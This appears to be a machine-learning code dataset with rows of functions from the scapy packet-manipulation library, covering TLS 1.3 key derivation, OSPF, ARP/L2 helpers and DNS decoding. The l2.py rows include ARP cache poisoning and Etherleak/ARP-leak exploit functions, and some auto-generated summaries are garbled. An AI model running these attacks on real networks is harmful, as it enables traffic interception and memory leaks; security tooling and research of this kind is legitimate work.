".",
"tls13... | Ciphers key and IV are updated accordingly for 0-RTT data.
self.handshake_messages should be ClientHello only. | [
"Ciphers",
"key",
"and",
"IV",
"are",
"updated",
"accordingly",
"for",
"0",
"-",
"RTT",
"data",
".",
"self",
".",
"handshake_messages",
"should",
"be",
"ClientHello",
"only",
"."
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/tls/session.py#L567-L605 | train | Computes the keys and IV for ClientHello and ClientHello messages. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/tls/session.py | tlsSession.compute_tls13_handshake_secrets | def compute_tls13_handshake_secrets(self):
"""
Ciphers key and IV are updated accordingly for Handshake data.
self.handshake_messages should be ClientHello...ServerHello.
"""
if self.tls13_early_secret is None:
warning("No early secret. This is abnormal.")
hk... | python | def compute_tls13_handshake_secrets(self):
"""
Ciphers key and IV are updated accordingly for Handshake data.
self.handshake_messages should be ClientHello...ServerHello.
"""
if self.tls13_early_secret is None:
warning("No early secret. This is abnormal.")
hk... | [
"def",
"compute_tls13_handshake_secrets",
"(",
"self",
")",
":",
"if",
"self",
".",
"tls13_early_secret",
"is",
"None",
":",
"warning",
"(",
"\"No early secret. This is abnormal.\"",
")",
"hkdf",
"=",
"self",
".",
"prcs",
".",
"hkdf",
"self",
".",
"tls13_handshake... | Ciphers key and IV are updated accordingly for Handshake data.
self.handshake_messages should be ClientHello...ServerHello. | [
"Ciphers",
"key",
"and",
"IV",
"are",
"updated",
"accordingly",
"for",
"Handshake",
"data",
".",
"self",
".",
"handshake_messages",
"should",
"be",
"ClientHello",
"...",
"ServerHello",
"."
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/tls/session.py#L607-L635 | train | Computes the TLS13 - Handshaking secret for the current session. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/tls/session.py | tlsSession.compute_tls13_traffic_secrets | def compute_tls13_traffic_secrets(self):
"""
Ciphers key and IV are updated accordingly for Application data.
self.handshake_messages should be ClientHello...ServerFinished.
"""
hkdf = self.prcs.hkdf
self.tls13_master_secret = hkdf.extract(self.tls13_handshake_secret,
... | python | def compute_tls13_traffic_secrets(self):
"""
Ciphers key and IV are updated accordingly for Application data.
self.handshake_messages should be ClientHello...ServerFinished.
"""
hkdf = self.prcs.hkdf
self.tls13_master_secret = hkdf.extract(self.tls13_handshake_secret,
... | [
"def",
"compute_tls13_traffic_secrets",
"(",
"self",
")",
":",
"hkdf",
"=",
"self",
".",
"prcs",
".",
"hkdf",
"self",
".",
"tls13_master_secret",
"=",
"hkdf",
".",
"extract",
"(",
"self",
".",
"tls13_handshake_secret",
",",
"None",
")",
"cts0",
"=",
"hkdf",
... | Ciphers key and IV are updated accordingly for Application data.
self.handshake_messages should be ClientHello...ServerFinished. | [
"Ciphers",
"key",
"and",
"IV",
"are",
"updated",
"accordingly",
"for",
"Application",
"data",
".",
"self",
".",
"handshake_messages",
"should",
"be",
"ClientHello",
"...",
"ServerFinished",
"."
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/tls/session.py#L637-L667 | train | Computes the master and server secret of the TC1 and TC2. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/tls/session.py | tlsSession.compute_tls13_resumption_secret | def compute_tls13_resumption_secret(self):
"""
self.handshake_messages should be ClientHello...ClientFinished.
"""
if self.connection_end == "server":
hkdf = self.prcs.hkdf
elif self.connection_end == "client":
hkdf = self.pwcs.hkdf
rs = hkdf.deriv... | python | def compute_tls13_resumption_secret(self):
"""
self.handshake_messages should be ClientHello...ClientFinished.
"""
if self.connection_end == "server":
hkdf = self.prcs.hkdf
elif self.connection_end == "client":
hkdf = self.pwcs.hkdf
rs = hkdf.deriv... | [
"def",
"compute_tls13_resumption_secret",
"(",
"self",
")",
":",
"if",
"self",
".",
"connection_end",
"==",
"\"server\"",
":",
"hkdf",
"=",
"self",
".",
"prcs",
".",
"hkdf",
"elif",
"self",
".",
"connection_end",
"==",
"\"client\"",
":",
"hkdf",
"=",
"self",... | self.handshake_messages should be ClientHello...ClientFinished. | [
"self",
".",
"handshake_messages",
"should",
"be",
"ClientHello",
"...",
"ClientFinished",
"."
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/tls/session.py#L699-L710 | train | Computes the TLS13 resumption master secret for the server and client. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/tls/session.py | tlsSession.compute_tls13_next_traffic_secrets | def compute_tls13_next_traffic_secrets(self):
"""
Ciphers key and IV are updated accordingly.
"""
hkdf = self.prcs.hkdf
hl = hkdf.hash.digest_size
cts = self.tls13_derived_secrets["client_traffic_secrets"]
ctsN = cts[-1]
ctsN_1 = hkdf.expand_label(ctsN, "... | python | def compute_tls13_next_traffic_secrets(self):
"""
Ciphers key and IV are updated accordingly.
"""
hkdf = self.prcs.hkdf
hl = hkdf.hash.digest_size
cts = self.tls13_derived_secrets["client_traffic_secrets"]
ctsN = cts[-1]
ctsN_1 = hkdf.expand_label(ctsN, "... | [
"def",
"compute_tls13_next_traffic_secrets",
"(",
"self",
")",
":",
"hkdf",
"=",
"self",
".",
"prcs",
".",
"hkdf",
"hl",
"=",
"hkdf",
".",
"hash",
".",
"digest_size",
"cts",
"=",
"self",
".",
"tls13_derived_secrets",
"[",
"\"client_traffic_secrets\"",
"]",
"ct... | Ciphers key and IV are updated accordingly. | [
"Ciphers",
"key",
"and",
"IV",
"are",
"updated",
"accordingly",
"."
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/tls/session.py#L712-L732 | train | Compute the next application traffic secret for the next application. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/tls/session.py | _GenericTLSSessionInheritance.show2 | def show2(self):
"""
Rebuild the TLS packet with the same context, and then .show() it.
We need self.__class__ to call the subclass in a dynamic way.
Howether we do not want the tls_session.{r,w}cs.seq_num to be updated.
We have to bring back the init states (it's possible the c... | python | def show2(self):
"""
Rebuild the TLS packet with the same context, and then .show() it.
We need self.__class__ to call the subclass in a dynamic way.
Howether we do not want the tls_session.{r,w}cs.seq_num to be updated.
We have to bring back the init states (it's possible the c... | [
"def",
"show2",
"(",
"self",
")",
":",
"s",
"=",
"self",
".",
"tls_session",
"rcs_snap",
"=",
"s",
".",
"rcs",
".",
"snapshot",
"(",
")",
"wcs_snap",
"=",
"s",
".",
"wcs",
".",
"snapshot",
"(",
")",
"s",
".",
"rcs",
"=",
"self",
".",
"rcs_snap_in... | Rebuild the TLS packet with the same context, and then .show() it.
We need self.__class__ to call the subclass in a dynamic way.
Howether we do not want the tls_session.{r,w}cs.seq_num to be updated.
We have to bring back the init states (it's possible the cipher context
has been update... | [
"Rebuild",
"the",
"TLS",
"packet",
"with",
"the",
"same",
"context",
"and",
"then",
".",
"show",
"()",
"it",
".",
"We",
"need",
"self",
".",
"__class__",
"to",
"call",
"the",
"subclass",
"in",
"a",
"dynamic",
"way",
"."
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/tls/session.py#L897-L919 | train | Show the TLS packet with the same context and then. show it. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/contrib/ospf.py | _LLSGuessPayloadClass | def _LLSGuessPayloadClass(p, **kargs):
""" Guess the correct LLS class for a given payload """
cls = conf.raw_layer
if len(p) >= 3:
typ = struct.unpack("!H", p[0:2])[0]
clsname = _OSPF_LLSclasses.get(typ, "LLS_Generic_TLV")
cls = globals()[clsname]
return cls(p, **kargs) | python | def _LLSGuessPayloadClass(p, **kargs):
""" Guess the correct LLS class for a given payload """
cls = conf.raw_layer
if len(p) >= 3:
typ = struct.unpack("!H", p[0:2])[0]
clsname = _OSPF_LLSclasses.get(typ, "LLS_Generic_TLV")
cls = globals()[clsname]
return cls(p, **kargs) | [
"def",
"_LLSGuessPayloadClass",
"(",
"p",
",",
"*",
"*",
"kargs",
")",
":",
"cls",
"=",
"conf",
".",
"raw_layer",
"if",
"len",
"(",
"p",
")",
">=",
"3",
":",
"typ",
"=",
"struct",
".",
"unpack",
"(",
"\"!H\"",
",",
"p",
"[",
"0",
":",
"2",
"]",... | Guess the correct LLS class for a given payload | [
"Guess",
"the",
"correct",
"LLS",
"class",
"for",
"a",
"given",
"payload"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/ospf.py#L172-L180 | train | Guess the correct LLS class for a given payload | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/contrib/ospf.py | _OSPFv3_LSAGuessPayloadClass | def _OSPFv3_LSAGuessPayloadClass(p, **kargs):
""" Guess the correct OSPFv3 LSA class for a given payload """
cls = conf.raw_layer
if len(p) >= 6:
typ = struct.unpack("!H", p[2:4])[0]
clsname = _OSPFv3_LSclasses.get(typ, "Raw")
cls = globals()[clsname]
return cls(p, **kargs) | python | def _OSPFv3_LSAGuessPayloadClass(p, **kargs):
""" Guess the correct OSPFv3 LSA class for a given payload """
cls = conf.raw_layer
if len(p) >= 6:
typ = struct.unpack("!H", p[2:4])[0]
clsname = _OSPFv3_LSclasses.get(typ, "Raw")
cls = globals()[clsname]
return cls(p, **kargs) | [
"def",
"_OSPFv3_LSAGuessPayloadClass",
"(",
"p",
",",
"*",
"*",
"kargs",
")",
":",
"cls",
"=",
"conf",
".",
"raw_layer",
"if",
"len",
"(",
"p",
")",
">=",
"6",
":",
"typ",
"=",
"struct",
".",
"unpack",
"(",
"\"!H\"",
",",
"p",
"[",
"2",
":",
"4",... | Guess the correct OSPFv3 LSA class for a given payload | [
"Guess",
"the",
"correct",
"OSPFv3",
"LSA",
"class",
"for",
"a",
"given",
"payload"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/ospf.py#L515-L525 | train | Guess the correct OSPFv3 LSA class for a given payload | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/l2.py | getmacbyip | def getmacbyip(ip, chainCC=0):
"""Return MAC address corresponding to a given IP address"""
if isinstance(ip, Net):
ip = next(iter(ip))
ip = inet_ntoa(inet_aton(ip or "0.0.0.0"))
tmp = [orb(e) for e in inet_aton(ip)]
if (tmp[0] & 0xf0) == 0xe0: # mcast @
return "01:00:5e:%.2x:%.2x:%... | python | def getmacbyip(ip, chainCC=0):
"""Return MAC address corresponding to a given IP address"""
if isinstance(ip, Net):
ip = next(iter(ip))
ip = inet_ntoa(inet_aton(ip or "0.0.0.0"))
tmp = [orb(e) for e in inet_aton(ip)]
if (tmp[0] & 0xf0) == 0xe0: # mcast @
return "01:00:5e:%.2x:%.2x:%... | [
"def",
"getmacbyip",
"(",
"ip",
",",
"chainCC",
"=",
"0",
")",
":",
"if",
"isinstance",
"(",
"ip",
",",
"Net",
")",
":",
"ip",
"=",
"next",
"(",
"iter",
"(",
"ip",
")",
")",
"ip",
"=",
"inet_ntoa",
"(",
"inet_aton",
"(",
"ip",
"or",
"\"0.0.0.0\""... | Return MAC address corresponding to a given IP address | [
"Return",
"MAC",
"address",
"corresponding",
"to",
"a",
"given",
"IP",
"address"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/l2.py#L70-L102 | train | Return the MAC address corresponding to a given IP address | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/l2.py | arpcachepoison | def arpcachepoison(target, victim, interval=60):
"""Poison target's cache with (your MAC,victim's IP) couple
arpcachepoison(target, victim, [interval=60]) -> None
"""
tmac = getmacbyip(target)
p = Ether(dst=tmac) / ARP(op="who-has", psrc=victim, pdst=target)
try:
while True:
sendp(p,... | python | def arpcachepoison(target, victim, interval=60):
"""Poison target's cache with (your MAC,victim's IP) couple
arpcachepoison(target, victim, [interval=60]) -> None
"""
tmac = getmacbyip(target)
p = Ether(dst=tmac) / ARP(op="who-has", psrc=victim, pdst=target)
try:
while True:
sendp(p,... | [
"def",
"arpcachepoison",
"(",
"target",
",",
"victim",
",",
"interval",
"=",
"60",
")",
":",
"tmac",
"=",
"getmacbyip",
"(",
"target",
")",
"p",
"=",
"Ether",
"(",
"dst",
"=",
"tmac",
")",
"/",
"ARP",
"(",
"op",
"=",
"\"who-has\"",
",",
"psrc",
"="... | Poison target's cache with (your MAC,victim's IP) couple
arpcachepoison(target, victim, [interval=60]) -> None | [
"Poison",
"target",
"s",
"cache",
"with",
"(",
"your",
"MAC",
"victim",
"s",
"IP",
")",
"couple",
"arpcachepoison",
"(",
"target",
"victim",
"[",
"interval",
"=",
"60",
"]",
")",
"-",
">",
"None"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/l2.py#L595-L608 | train | Poison target s cache with ( your MAC victim s IP | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/l2.py | is_promisc | def is_promisc(ip, fake_bcast="ff:ff:00:00:00:00", **kargs):
"""Try to guess if target is in Promisc mode. The target is provided by its ip.""" # noqa: E501
responses = srp1(Ether(dst=fake_bcast) / ARP(op="who-has", pdst=ip), type=ETH_P_ARP, iface_hint=ip, timeout=1, verbose=0, **kargs) # noqa: E501
ret... | python | def is_promisc(ip, fake_bcast="ff:ff:00:00:00:00", **kargs):
"""Try to guess if target is in Promisc mode. The target is provided by its ip.""" # noqa: E501
responses = srp1(Ether(dst=fake_bcast) / ARP(op="who-has", pdst=ip), type=ETH_P_ARP, iface_hint=ip, timeout=1, verbose=0, **kargs) # noqa: E501
ret... | [
"def",
"is_promisc",
"(",
"ip",
",",
"fake_bcast",
"=",
"\"ff:ff:00:00:00:00\"",
",",
"*",
"*",
"kargs",
")",
":",
"# noqa: E501",
"responses",
"=",
"srp1",
"(",
"Ether",
"(",
"dst",
"=",
"fake_bcast",
")",
"/",
"ARP",
"(",
"op",
"=",
"\"who-has\"",
",",... | Try to guess if target is in Promisc mode. The target is provided by its ip. | [
"Try",
"to",
"guess",
"if",
"target",
"is",
"in",
"Promisc",
"mode",
".",
"The",
"target",
"is",
"provided",
"by",
"its",
"ip",
"."
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/l2.py#L640-L645 | train | Try to guess if target is in Promisc mode. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/l2.py | promiscping | def promiscping(net, timeout=2, fake_bcast="ff:ff:ff:ff:ff:fe", **kargs):
"""Send ARP who-has requests to determine which hosts are in promiscuous mode
promiscping(net, iface=conf.iface)"""
ans, unans = srp(Ether(dst=fake_bcast) / ARP(pdst=net),
filter="arp and arp[7] = 2", timeout=time... | python | def promiscping(net, timeout=2, fake_bcast="ff:ff:ff:ff:ff:fe", **kargs):
"""Send ARP who-has requests to determine which hosts are in promiscuous mode
promiscping(net, iface=conf.iface)"""
ans, unans = srp(Ether(dst=fake_bcast) / ARP(pdst=net),
filter="arp and arp[7] = 2", timeout=time... | [
"def",
"promiscping",
"(",
"net",
",",
"timeout",
"=",
"2",
",",
"fake_bcast",
"=",
"\"ff:ff:ff:ff:ff:fe\"",
",",
"*",
"*",
"kargs",
")",
":",
"ans",
",",
"unans",
"=",
"srp",
"(",
"Ether",
"(",
"dst",
"=",
"fake_bcast",
")",
"/",
"ARP",
"(",
"pdst",... | Send ARP who-has requests to determine which hosts are in promiscuous mode
promiscping(net, iface=conf.iface) | [
"Send",
"ARP",
"who",
"-",
"has",
"requests",
"to",
"determine",
"which",
"hosts",
"are",
"in",
"promiscuous",
"mode",
"promiscping",
"(",
"net",
"iface",
"=",
"conf",
".",
"iface",
")"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/l2.py#L649-L657 | train | Send ARP who - has requests to determine which hosts are in promiscuous mode | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/l2.py | etherleak | def etherleak(target, **kargs):
"""Exploit Etherleak flaw"""
return srp(Ether() / ARP(pdst=target),
prn=lambda s_r: conf.padding_layer in s_r[1] and hexstr(s_r[1][conf.padding_layer].load), # noqa: E501
filter="arp", **kargs) | python | def etherleak(target, **kargs):
"""Exploit Etherleak flaw"""
return srp(Ether() / ARP(pdst=target),
prn=lambda s_r: conf.padding_layer in s_r[1] and hexstr(s_r[1][conf.padding_layer].load), # noqa: E501
filter="arp", **kargs) | [
"def",
"etherleak",
"(",
"target",
",",
"*",
"*",
"kargs",
")",
":",
"return",
"srp",
"(",
"Ether",
"(",
")",
"/",
"ARP",
"(",
"pdst",
"=",
"target",
")",
",",
"prn",
"=",
"lambda",
"s_r",
":",
"conf",
".",
"padding_layer",
"in",
"s_r",
"[",
"1",... | Exploit Etherleak flaw | [
"Exploit",
"Etherleak",
"flaw"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/l2.py#L728-L732 | train | Exploit Etherleak flaw | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/l2.py | arpleak | def arpleak(target, plen=255, hwlen=255, **kargs):
"""Exploit ARP leak flaws, like NetBSD-SA2017-002.
https://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2017-002.txt.asc
"""
# We want explicit packets
pkts_iface = {}
for pkt in ARP(pdst=target):
# We have to do some of Scapy's ... | python | def arpleak(target, plen=255, hwlen=255, **kargs):
"""Exploit ARP leak flaws, like NetBSD-SA2017-002.
https://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2017-002.txt.asc
"""
# We want explicit packets
pkts_iface = {}
for pkt in ARP(pdst=target):
# We have to do some of Scapy's ... | [
"def",
"arpleak",
"(",
"target",
",",
"plen",
"=",
"255",
",",
"hwlen",
"=",
"255",
",",
"*",
"*",
"kargs",
")",
":",
"# We want explicit packets",
"pkts_iface",
"=",
"{",
"}",
"for",
"pkt",
"in",
"ARP",
"(",
"pdst",
"=",
"target",
")",
":",
"# We ha... | Exploit ARP leak flaws, like NetBSD-SA2017-002.
https://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2017-002.txt.asc | [
"Exploit",
"ARP",
"leak",
"flaws",
"like",
"NetBSD",
"-",
"SA2017",
"-",
"002",
"."
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/l2.py#L736-L785 | train | Exploit ARP leak flaws like NetBSD - SA2017 -002. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/dns.py | dns_get_str | def dns_get_str(s, pointer=0, pkt=None, _fullpacket=False):
"""This function decompresses a string s, starting
from the given pointer.
:param s: the string to decompress
:param pointer: first pointer on the string (default: 0)
:param pkt: (optional) an InheritOriginDNSStrPacket packet
:returns... | python | def dns_get_str(s, pointer=0, pkt=None, _fullpacket=False):
"""This function decompresses a string s, starting
from the given pointer.
:param s: the string to decompress
:param pointer: first pointer on the string (default: 0)
:param pkt: (optional) an InheritOriginDNSStrPacket packet
:returns... | [
"def",
"dns_get_str",
"(",
"s",
",",
"pointer",
"=",
"0",
",",
"pkt",
"=",
"None",
",",
"_fullpacket",
"=",
"False",
")",
":",
"# The _fullpacket parameter is reserved for scapy. It indicates",
"# that the string provided is the full dns packet, and thus",
"# will be the same... | This function decompresses a string s, starting
from the given pointer.
:param s: the string to decompress
:param pointer: first pointer on the string (default: 0)
:param pkt: (optional) an InheritOriginDNSStrPacket packet
:returns: (decoded_string, end_index, left_string) | [
"This",
"function",
"decompresses",
"a",
"string",
"s",
"starting",
"from",
"the",
"given",
"pointer",
"."
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/dns.py#L30-L102 | train | This function decompresses a string s starting from the given pointer. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/dns.py | dns_encode | def dns_encode(x, check_built=False):
"""Encodes a bytes string into the DNS format
:param x: the string
:param check_built: detect already-built strings and ignore them
:returns: the encoded bytes string
"""
if not x or x == b".":
return b"\x00"
if check_built and b"." not in x an... | python | def dns_encode(x, check_built=False):
